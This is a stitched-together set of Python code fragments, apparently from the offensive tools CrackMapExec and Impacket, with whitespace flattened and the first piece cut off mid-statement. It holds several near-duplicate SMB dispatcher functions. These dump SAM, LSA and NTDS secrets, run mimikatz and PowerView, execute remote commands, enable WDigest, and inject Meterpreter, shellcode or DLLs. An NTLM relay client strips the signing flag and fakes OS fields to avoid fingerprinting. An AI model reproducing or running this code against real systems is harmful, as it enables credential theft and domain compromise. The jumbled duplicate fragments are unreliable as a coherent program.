self.username is not None: if self.module or self.chain_list: if self.chain_list: module = self.chain_list[0]['object'] module_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.host, 'port': self.args.smb_port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if self.module: launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command) payload = module.payload(context, None if not hasattr(module, 'command') else module.command) if hasattr(module, 'on_login'): module.on_login(context, self, launcher, payload) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.chain_list: module_list = self.chain_list[:] module_list.reverse() final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command) if len(module_list) > 2: for m in module_list: if m['object'] == module or m['object'] == module_list[0]['object']: continue final_launcher = m['object'].launcher(context, final_launcher) if module == module_list[0]['object']: final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command launcher = module.launcher(context, final_launcher) payload = module.payload(context, final_launcher) if hasattr(module, 'on_login'): module.on_login(context, self) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.module is None and self.chain_list is None: for k, v in vars(self.args).iteritems(): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: getattr(self, k)()
def connect(host): """ My imagination flowed free when coming up with this name This is where all the magic happens """ try: smb = SMBConnection(host, host, None, settings.args.port) try: smb.login("", "") except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = settings.args.domain s_name = smb.getServerName() if not domain: domain = smb.getServerDomain() if not domain: domain = s_name print_status( u"{}:{} is running {} (name:{}) (domain:{})".format( host, settings.args.port, smb.getServerOS(), s_name, domain ) ) try: """ DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) """ smb.logoff() except NetBIOSError: pass except socket.error: smb = SMBConnection(host, host, None, settings.args.port) if ( settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None) ) or settings.args.combo_file: smb = smart_login(host, smb, domain) # Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: rfs = RemoteFileSystem(host, smb) if settings.args.delete: rfs.delete() if settings.args.download: rfs.download() if settings.args.upload: rfs.upload() if settings.args.list: rfs.list() if settings.args.enum_shares: shares = SHAREDUMP(smb) shares.dump(host) if settings.args.enum_users: users = SAMRDump( "{}/SMB".format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb, ) users.dump(host) if settings.args.sam or settings.args.lsa or settings.args.ntds: dumper = DumpSecrets(host, settings.args.port, "logs/{}".format(host), smb, settings.args.kerb) dumper.do_remote_ops() if settings.args.sam: dumper.dump_SAM() if settings.args.lsa: dumper.dump_LSA() if settings.args.ntds: dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet) dumper.cleanup() if settings.args.pass_pol: pass_pol = PassPolDump( "{}/SMB".format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb, ) pass_pol.dump(host) if settings.args.rid_brute: lookup = LSALookupSid( settings.args.user, settings.args.passwd, domain, "{}/SMB".format(settings.args.port), settings.args.hash, settings.args.rid_brute, ) lookup.dump(host) if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: rpc_query = RPCQUERY(settings.args.user, settings.args.passwd, domain, settings.args.hash) if settings.args.enum_sessions: rpc_query.enum_sessions(host) if settings.args.enum_disks: rpc_query.enum_disks(host) if settings.args.enum_lusers: rpc_query.enum_lusers(host) if settings.args.spider: smb_spider = SMBSPIDER(host, smb) smb_spider.spider(settings.args.spider, settings.args.depth) smb_spider.finish() if settings.args.wmi_query: wmi_query = WMIQUERY( settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.kerb, settings.args.aesKey, ) wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) if settings.args.check_uac: uac = UACdump(smb, settings.args.kerb) uac.run() if settings.args.enable_wdigest: wdigest = WdisgestEnable(smb, settings.args.kerb) wdigest.enable() if settings.args.disable_wdigest: wdigest = WdisgestEnable(smb, settings.args.kerb) wdigest.disable() if settings.args.command: EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb) if settings.args.pscommand: EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb) if settings.args.mimikatz: powah_command = PowerSploit(settings.args.server, local_ip) EXECUTOR(powah_command.mimikatz(), host, domain, True, smb) if settings.args.mimikatz_cmd: powah_command = PowerSploit(settings.args.server, local_ip) EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb) if settings.args.inject: powah_command = PowerSploit(settings.args.server, local_ip) if settings.args.inject.startswith("met_"): EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb) if settings.args.inject == "shellcode": EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb) if settings.args.inject == "dll" or settings.args.inject == "exe": EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb) try: smb.logoff() except: pass except SessionError as e: print_error("{}:{} {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except NetBIOSError as e: print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except DCERPCException as e: print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except socket.error as e: if settings.args.verbose: print_error(str(e)) return
class SMBRelayClient(ProtocolClient): PLUGIN_NAME = "SMB" def __init__(self, serverConfig, target, targetPort=445, extendedSecurity=True): ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) self.extendedSecurity = extendedSecurity self.domainIp = None self.machineAccount = None self.machineHashes = None self.sessionData = {} self.keepAliveHits = 1 def keepAlive(self): # SMB Keep Alive more or less every 5 minutes if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER): # Time to send a packet # Just a tree connect / disconnect to avoid the session timeout tid = self.session.connectTree('IPC$') self.session.disconnectTree(tid) self.keepAliveHits = 1 else: self.keepAliveHits += 1 def killConnection(self): if self.session is not None: self.session.close() self.session = None def initConnection(self): self.session = SMBConnection(self.targetHost, self.targetHost, sess_port=self.targetPort, manualNegotiate=True) #,preferredDialect=SMB_DIALECT) if self.serverConfig.smb2support is True: data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' else: data = '\x02NT LM 0.12\x00' if self.extendedSecurity is True: flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES else: flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES try: packet = self.session.negotiateSessionWildcard( None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, flags2=flags2, data=data) except socketerror as e: if 'reset by peer' in str(e): if not self.serverConfig.smb2support: LOG.error( 'SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support' ) else: LOG.error('SMBCLient error: Connection was reset') else: LOG.error('SMBCLient error: %s' % str(e)) return False if packet[0] == '\xfe': smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity, nmbSession=self.session.getNMBServer(), negPacket=packet) else: # Answer is SMB packet, sticking to SMBv1 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity, nmbSession=self.session.getNMBServer(), negPacket=packet) self.session = SMBConnection(self.targetHost, self.targetHost, sess_port=self.targetPort, existingConnection=smbClient, manualNegotiate=True) return True def setUid(self, uid): self._uid = uid def sendNegotiate(self, negotiateMessage): negotiate = NTLMAuthNegotiate() negotiate.fromString(negotiateMessage) #Remove the signing flag negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN challenge = NTLMAuthChallenge() if self.session.getDialect() == SMB_DIALECT: challenge.fromString(self.sendNegotiatev1(negotiateMessage)) else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge return challenge def sendNegotiatev2(self, negotiateMessage): v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 # Let's build a NegTokenInit with the NTLMSSP blob = SPNEGO_NegTokenInit() # NTLMSSP blob['MechTypes'] = [ TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] ] blob['MechToken'] = str(negotiateMessage) sessionSetup['SecurityBufferLength'] = len(blob) sessionSetup['Buffer'] = blob.getData() packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup packetID = v2client.sendSMB(packet) ans = v2client.recvSMB(packetID) if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): v2client._Session['SessionID'] = ans['SessionID'] sessionSetupResponse = SMB2SessionSetup_Response(ans['Data']) respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer']) return respToken['ResponseToken'] return False def sendNegotiatev1(self, negotiateMessage): v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE # Just in case, clear the Unicode Flag flags2 = v1client.get_flags()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE)) sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Let's build a NegTokenInit with the NTLMSSP # TODO: In the future we should be able to choose different providers blob = SPNEGO_NegTokenInit() # NTLMSSP blob['MechTypes'] = [ TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] ] blob['MechToken'] = str(negotiateMessage) sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) sessionSetup['Parameters'].getData() sessionSetup['Data']['SecurityBlob'] = blob.getData() # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except Exception: LOG.error("SessionSetup Error!") raise else: # We will need to use this uid field for all future requests/responses v1client.set_uid(smb['Uid']) # Now we have to extract the blob to continue the auth process sessionResponse = SMBCommand(smb['Data'][0]) sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters( sessionResponse['Parameters']) sessionData = SMBSessionSetupAndX_Extended_Response_Data( flags=smb['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters[ 'SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) return respToken['ResponseToken'] def sendStandardSecurityAuth(self, sessionSetupData): v1client = self.session.getSMBServer() flags2 = v1client.get_flags()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY)) if sessionSetupData['Account'] != '': smb = NewSMBPacket() smb['Flags1'] = 8 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Data() sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters'][ 'SessionKey'] = v1client._dialects_parameters['SessionKey'] sessionSetup['Parameters']['AnsiPwdLength'] = len( sessionSetupData['AnsiPwd']) sessionSetup['Parameters']['UnicodePwdLength'] = len( sessionSetupData['UnicodePwd']) sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd'] sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd'] sessionSetup['Data']['Account'] = str(sessionSetupData['Account']) sessionSetup['Data']['PrimaryDomain'] = str( sessionSetupData['PrimaryDomain']) sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except: return None, STATUS_LOGON_FAILURE else: v1client.set_uid(smb['Uid']) return smb, STATUS_SUCCESS else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials clientResponse = None errorCode = STATUS_ACCESS_DENIED return clientResponse, errorCode def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', str(authenticateMessageBlob) [:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to wrap the NTLMSSP into SPNEGO respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = str(authenticateMessageBlob) authData = respToken2.getData() else: authData = str(authenticateMessageBlob) if self.session.getDialect() == SMB_DIALECT: token, errorCode = self.sendAuthv1(authData, serverChallenge) else: token, errorCode = self.sendAuthv2(authData, serverChallenge) return token, errorCode def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup # Reusing the previous structure sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob) sessionSetup['Buffer'] = authenticateMessageBlob packetID = v2client.sendSMB(packet) packet = v2client.recvSMB(packetID) return packet, packet['Status'] def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None): v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE smb['Uid'] = v1client.get_uid() sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' sessionSetup['Parameters']['SecurityBlobLength'] = len( authenticateMessageBlob) sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() errorCode = smb['ErrorCode'] << 16 errorCode += smb['_reserved'] << 8 errorCode += smb['ErrorClass'] return smb, errorCode def getStandardSecurityChallenge(self): if self.session.getDialect() == SMB_DIALECT: return self.session.getSMBServer().get_encryption_key() else: return None
def connect(host): ''' My imagination flowed free when coming up with this name This is where all the magic happens ''' try: smb = SMBConnection(host, host, None, settings.args.port) try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = settings.args.domain s_name = smb.getServerName() if not domain: domain = smb.getServerDomain() if not domain: domain = s_name print_status(u"{}:{} is running {} (name:{}) (domain:{})".format(host, settings.args.port, smb.getServerOS(), s_name, domain)) try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: smb = SMBConnection(host, host, None, settings.args.port) if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file: smb = smart_login(host, smb, domain) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: rfs = RemoteFileSystem(host, smb) if settings.args.delete: rfs.delete() if settings.args.download: rfs.download() if settings.args.upload: rfs.upload() if settings.args.list: rfs.list() if settings.args.enum_shares: shares = SHAREDUMP(smb) shares.dump(host) if settings.args.enum_users: users = SAMRDump('{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb) users.dump(host) if settings.args.sam or settings.args.lsa or settings.args.ntds: dumper = DumpSecrets(host, settings.args.port, 'logs/{}'.format(host), smb, settings.args.kerb) dumper.do_remote_ops() if settings.args.sam: dumper.dump_SAM() if settings.args.lsa: dumper.dump_LSA() if settings.args.ntds: dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet) dumper.cleanup() if settings.args.pass_pol: pass_pol = PassPolDump('{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb) pass_pol.dump(host) if settings.args.rid_brute: lookup = LSALookupSid(settings.args.user, settings.args.passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.hash, settings.args.rid_brute) lookup.dump(host) if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: rpc_query = RPCQUERY(settings.args.user, settings.args.passwd, domain, settings.args.hash) if settings.args.enum_sessions: rpc_query.enum_sessions(host) if settings.args.enum_disks: rpc_query.enum_disks(host) if settings.args.enum_lusers: rpc_query.enum_lusers(host) if settings.args.spider: smb_spider = SMBSPIDER(host, smb) smb_spider.spider(settings.args.spider, settings.args.depth) smb_spider.finish() if settings.args.wmi_query: wmi_query = WMIQUERY(settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.kerb, settings.args.aesKey) wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) if settings.args.check_uac: uac = UACdump(smb, settings.args.kerb) uac.run() if settings.args.enable_wdigest: wdigest = WdisgestEnable(smb, settings.args.kerb) wdigest.enable() if settings.args.disable_wdigest: wdigest = WdisgestEnable(smb, settings.args.kerb) wdigest.disable() if settings.args.service: service_control = SVCCTL(settings.args.user, settings.args.passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.service, settings.args) service_control.run(host) if settings.args.command: EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.pscommand: EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.mimikatz: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm) if settings.args.mimikatz_cmd: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm) if settings.args.powerview: #For some reason powerview functions only seem to work when using smbexec... #I think we might have a mistery on our hands boys and girls! powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec') if settings.args.inject: powah_command = PowerShell(settings.args.server, local_ip) if settings.args.inject.startswith('met_'): EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'shellcode': EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'dll' or settings.args.inject == 'exe': EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm) try: smb.logoff() except: pass except SessionError as e: print_error("{}:{} {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except NetBIOSError as e: print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except DCERPCException as e: print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except socket.error as e: if settings.args.verbose: print_error(str(e)) return
def main_greenlet(host): try: smb = SMBConnection(host, host, None, settings.args.port) try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = settings.args.domain s_name = smb.getServerName() if not domain: domain = smb.getServerDomain() if not domain: domain = s_name cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host, 'hostname': s_name, 'port': settings.args.port, 'service': 'SMB'}) cme_logger.info(u"{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain)) if settings.args.mssql_instance or settings.args.mssql is not None: mssql_greenlet(host, s_name, domain) return try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: smb = SMBConnection(host, host, None, settings.args.port) if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file: smb = smart_login(host, domain, smb, cme_logger) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: rfs = RemoteFileSystem(host, smb, cme_logger) if settings.args.delete: rfs.delete() if settings.args.download: rfs.download() if settings.args.upload: rfs.upload() if settings.args.list: rfs.list() if settings.args.enum_shares: shares = SHAREDUMP(smb, cme_logger) shares.dump(host) if settings.args.enum_users: users = SAMRDump(cme_logger, '{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb) users.dump(host) if settings.args.sam or settings.args.lsa or settings.args.ntds: dumper = DumpSecrets(cme_logger, 'logs/{}'.format(host), smb, settings.args.kerb) dumper.do_remote_ops() if settings.args.sam: dumper.dump_SAM() if settings.args.lsa: dumper.dump_LSA() if settings.args.ntds: dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet) dumper.cleanup() if settings.args.pass_pol: pass_pol = PassPolDump(cme_logger, '{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb) pass_pol.dump(host) if settings.args.rid_brute: lookup = LSALookupSid(cme_logger, settings.args.user, settings.args.passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.hash, settings.args.rid_brute) lookup.dump(host) if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: rpc_query = RPCQUERY(cme_logger, settings.args.user, settings.args.passwd, domain, settings.args.hash) if settings.args.enum_sessions: rpc_query.enum_sessions(host) if settings.args.enum_disks: rpc_query.enum_disks(host) if settings.args.enum_lusers: rpc_query.enum_lusers(host) if settings.args.spider: smb_spider = SMBSPIDER(cme_logger, host, smb) smb_spider.spider(settings.args.spider, settings.args.depth) smb_spider.finish() if settings.args.wmi_query: wmi_query = WMIQUERY(cme_logger, settings.args.user, domain, settings.args.passwd, settings.args.hash, settings.args.kerb, settings.args.aesKey) wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) if settings.args.check_uac: uac = UACdump(cme_logger, smb, settings.args.kerb) uac.run() if settings.args.enable_wdigest or settings.args.disable_wdigest: wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb) if settings.args.enable_wdigest: wdigest.enable() elif settings.args.disable_wdigest: wdigest.disable() if settings.args.service: service_control = SVCCTL(cme_logger, settings.args.user, settings.args.passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.service, settings.args) service_control.run(host) if settings.args.command: EXECUTOR(cme_logger, settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.pscommand: EXECUTOR(cme_logger, ps_command(settings.args.pscommand, settings.args.ps_arch), host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.mimikatz: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain, True, smb, settings.args.execm) if settings.args.gpp_passwords: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.gpp_passwords(), host, domain, True, smb, settings.args.execm) if settings.args.mimikatz_cmd: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm) if settings.args.powerview: #For some reason powerview functions only seem to work when using smbexec... #I think we might have a mistery on our hands boys and girls! powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec') if settings.args.inject: powah_command = PowerShell(settings.args.server, local_ip) if settings.args.inject.startswith('met_'): EXECUTOR(cme_logger, powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'shellcode': EXECUTOR(cme_logger, powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'dll' or settings.args.inject == 'exe': EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm) try: smb.logoff() except: pass except SessionError as e: print_error("{}:{} {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except NetBIOSError as e: print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except DCERPCException as e: print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except socket.error as e: if settings.args.verbose: print_error(str(e)) return
class SMBTransport(DCERPCTransport): """Implementation of ncacn_np protocol sequence""" def __init__(self, dstip, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None, remote_name='', smb_connection=0, doKerberos=False): DCERPCTransport.__init__(self, dstip, dstport) self.__socket = None self.__tid = 0 self.__filename = filename self.__handle = 0 self.__pending_recv = 0 self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS) self.__remote_name = remote_name self._doKerberos = doKerberos if smb_connection == 0: self.__existing_smb = False else: self.__existing_smb = True self.set_credentials(*smb_connection.getCredentials()) self.__prefDialect = None if isinstance(smb_connection, smb.SMB): # Backward compatibility hack, let's return a # SMBBackwardCompatibilityTransport instance return SMBBackwardCompatibilityTransport(filename = filename, smb_server = smb_connection) else: self.__smb_connection = smb_connection def preferred_dialect(self, dialect): self.__prefDialect = dialect def setup_smb_connection(self): if not self.__smb_connection: if self.__remote_name == '': if self.get_dport() == nmb.NETBIOS_SESSION_PORT: self.__smb_connection = SMBConnection('*SMBSERVER', self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect) else: self.__smb_connection = SMBConnection(self.get_dip(), self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect) else: self.__smb_connection = SMBConnection(self.__remote_name, self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect) def connect(self): # Check if we have a smb connection already setup if self.__smb_connection == 0: self.setup_smb_connection() if self._doKerberos is False: self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash) else: self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash, self._nthash, self._aesKey, TGT=self._TGT, TGS=self._TGS) self.__tid = self.__smb_connection.connectTree('IPC$') self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename) self.__socket = self.__smb_connection.getSMBServer().get_socket() return 1 def disconnect(self): self.__smb_connection.disconnectTree(self.__tid) # If we created the SMB connection, we close it, otherwise # that's up for the caller if self.__existing_smb is False: self.__smb_connection.logoff() self.__smb_connection = 0 def send(self,data, forceWriteAndx = 0, forceRecv = 0): if self._max_send_frag: offset = 0 while 1: toSend = data[offset:offset+self._max_send_frag] if not toSend: break self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset) offset += len(toSend) else: self.__smb_connection.writeFile(self.__tid, self.__handle, data) if forceRecv: self.__pending_recv += 1 def recv(self, forceRecv = 0, count = 0 ): if self._max_send_frag or self.__pending_recv: # _max_send_frag is checked because it's the same condition we checked # to decide whether to use write_andx() or send_trans() in send() above. if self.__pending_recv: self.__pending_recv -= 1 return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag) else: return self.__smb_connection.readFile(self.__tid, self.__handle) def get_smb_connection(self): return self.__smb_connection def set_smb_connection(self, smb_connection): self.__smb_connection = smb_connection self.set_credentials(*smb_connection.getCredentials()) self.__existing_smb = True def get_smb_server(self): # Raw Access to the SMBServer (whatever type it is) return self.__smb_connection.getSMBServer() def get_socket(self): return self.__socket def doesSupportNTLMv2(self): return self.__smb_connection.doesSupportNTLMv2()
